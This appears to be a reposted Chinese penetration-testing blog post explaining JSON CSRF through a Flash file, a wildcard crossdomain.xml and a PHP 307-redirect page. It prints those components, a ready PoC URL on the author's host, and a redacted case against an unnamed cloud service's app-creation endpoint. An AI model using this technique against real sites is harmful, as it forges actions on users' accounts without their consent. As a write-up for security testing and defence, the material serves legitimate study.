JSON CSRF新姿势

Posted 安全文库

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JSON CSRF新姿势相关的知识,希望对你有一定的参考价值。

 

还不赶快关注安全文库~

当前浏览器不支持播放音乐或语音,请在微信或其他浏览器中播放 JSON CSRF新姿势 JSON CSRF新姿势

以前做渗透测试,遇到过很多次POST数据为JSON数据的CSRF,一直没有搞定,最近发现一个新姿势,给大家分享一下。

JSON CSRF新姿势

测试的时候,当应用程序验证了Content-type和data format,这种新姿势依然可以可以使用flash和307重定向来实现JSON CSRF。

要求: 

1 制作一个Flash文件

2 制作一个跨域XML文件

3 制作一个具有307状态码的php文件

制作FLASH文件: 

这个flash(.swf)文件有我们需要POST的json格式的数据,攻击者必须在目标应用程序上发布,并链接到托管的php文件。

JSON CSRF新姿势

这是测试  SWF文件代码,可以根据需要下载和编辑内容。 

跨域XML文件: 

<cross-domain-policy>

<allowaccessfrom domain="*" secure="false"/><allow-http-request-headers-from domain="*" headers="*" secure="false"/></cross-domain-policy> 

该文件应该在攻击者网站的根目录上托管,所以flash文件可以请求攻击者的主机。注意:如果Flash文件和重定向器页面在同一个域上,则不需要跨域文件。

 具有307状态码的PHP文件:

<php//redirectautomaticallyheader("Location: https://victim.com/user/endpoint/", true, 307);?> 

Flash文件请求这个php文件,这将使307重定向到所提到的应用程序端点,而307是特殊的重定向,它将发布从Flash文件接收到目标端点的JSON数据,并且CSRF将成功发生。

 注意:由于这是基于闪存,所以flash应该安装在浏览器中使其工作,这在现在正常不过了,但可能在将来不会执行。

 好了,举个栗子吧 (所有敏感细节已经遮蔽,此案例仅供技术探讨,切勿模仿,否则后果自负)某云认知服务应用列表创建应用处存JSON CSRF。

JSON CSRF新姿势
JSON CSRF新姿势
JSON CSRF新姿势
JSON CSRF新姿势
JSON CSRF新姿势

安全文库|精选文章

可以看到几个关键点

 

Accept: application/json, text/javascript, */*;q=0.01

Content-Type: application/json; charset=utf-8

X-Requested-With: XMLHttpRequest

 

没有验证referrer也没有任何token

 

构造属于我们自己的POC

 

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

JSON CSRF新姿势

JSON CSRF新姿势

执行过后,页面是没有任何显示的

返回刷新原始页面

JSON CSRF新姿势

安全文库|精选文章

可以看到已经成功执行了CSRF创建了一个新的应用

 

分析一下POC

 

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

 

JSON CSRF新姿势

安全文库|精选文章

第一步,通过flash发送需要POSTjson格式的数据,并链接到托管的php文件。

经过307跳转以后实现CSRF

JSON CSRF新姿势

安全文库|精选文章

JSON CSRF新姿势

安全文库|精选文章

具体文章参考:

http://blog.xss.tv/test.swf?jsonData={"Mannix":Mannix}&php_url=http://blog.xss.tv/test.php&endpoint=http://Mannix.Mannix.com

需要测试的可以直接按照我的POC套数据。

注:

本文中所引用的案例均经过对方同意,且按照双方规定域名、图片打码发布,请大家帮忙检查,如果有不妥之处,请尽快告知。(ps:部分敏感细节已经遮蔽,此案例仅供技术探讨,切勿模仿,否则后果自负)

 

JSON CSRF新姿势
JSON CSRF新姿势

微博:文库极研社

 

以上是关于JSON CSRF新姿势的主要内容,如果未能解决你的问题,请参考以下文章

python 导入的新姿势

CSRF常见攻防姿势总结

Java计时新姿势

20191225新姿势

iOS 14迎来健身交互新方式 支持手势与身体姿势检测

原创多dpi适配的新姿势